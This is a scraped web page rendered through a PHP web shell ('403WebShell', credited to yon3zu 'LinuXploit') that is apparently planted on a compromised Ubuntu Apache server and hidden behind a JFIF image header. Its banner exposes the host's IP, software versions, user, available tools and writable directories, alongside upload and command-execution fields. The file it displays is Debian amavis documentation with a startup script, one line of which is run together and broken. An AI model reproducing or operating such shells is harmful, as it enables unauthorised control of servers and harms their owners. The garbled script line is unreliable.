????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.191.105.161
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/sendmail-base/examples/amavis/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/sendmail-base/examples/amavis/amavis-doc-8.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<HTML>
<HEAD>
 <META NAME="GENERATOR" CONTENT="LinuxDoc-Tools 0.9.10">
 <TITLE>How to Install Amavis-milter for Debian Sendmail: An Example Startup script</TITLE>
 <LINK HREF="amavis-doc-7.html" REL=previous>
 <LINK HREF="amavis-doc.html#toc8" REL=contents>
</HEAD>
<BODY>
Next
<A HREF="amavis-doc-7.html">Previous</A>
<A HREF="amavis-doc.html#toc8">Contents</A>
<HR>
<H2><A NAME="s8">8.</A> <A HREF="amavis-doc.html#toc8">An Example Startup script</A></H2>

<P>
<HR>
<PRE>
#!/bin/sh 
# /etc/init.d/amavis-ramdisk
# Script to run Amavis from a ram disk.

# I keep my antiviral scanner and data files on a ramdisk for speed.
AVDIR=&quot;/usr/local/share/av.original&quot;
RAMDISK=&quot;/usr/local/share/av.ramdisk&quot;
AMAVISBIN=&quot;/usr/local/sbin&quot;
AMAVISSOCK=&quot;/var/local/amavis&quot;
[ -d $AVDIR -a -d $RAMDISK ] || exit 0
case &quot;$1&quot; in
start)
   mke2fs /dev/ram0 &gt; /dev/null 2&gt;&amp;1
   mount /dev/ram0 $RAMDISK
   cp $AVDIR/* $RAMDISK
   if [ -S $AMAVISSOCK/amavis-milter.sock ]; then
      rm -rf $AMAVISSOCK/amavis-milter.sock
   fi
   if [ -S $AMAVISSOCK/amavisd.sock ]; then
      rm -rf $AMAVISSOCK/amavisd.sock
   fi
   nohup $AMAVISBIN/amavis-milter -p $AMAVISSOCK/amavis-milter.sock &amp;
   $AMAVISBIN/amavisd
;;
stop)
   kill -9 `ps x | grep amavisd | grep -v grep | awk '{print $1}'`2&gt; /dev/null
   kill -9 `ps x | grep amavis-milter | grep -v grep | awk '{print $1}'` 2&gt; /dev/null
   # I need to sleep for some reason :(
   sleep 2umount /dev/ram0
;;
*)
   echo &quot;Usage: /etc/init.d/amavis-ramdisk {start|stop}&quot;
   exit 1
;;
esac
exit 0
</PRE>
<HR>
</P>
<P>Don't forget to update your antivirus data files regularly. </P>
<P>
<BLOCKQUOTE>
Send all comments and corrections to &lt;jps@maxlingua.com&gt;.
Support free software!
</BLOCKQUOTE>
</P>


<HR>
Next
<A HREF="amavis-doc-7.html">Previous</A>
<A HREF="amavis-doc.html#toc8">Contents</A>
</BODY>
</HTML>

Youez - 2016 - github.com/yon3zu
LinuXploit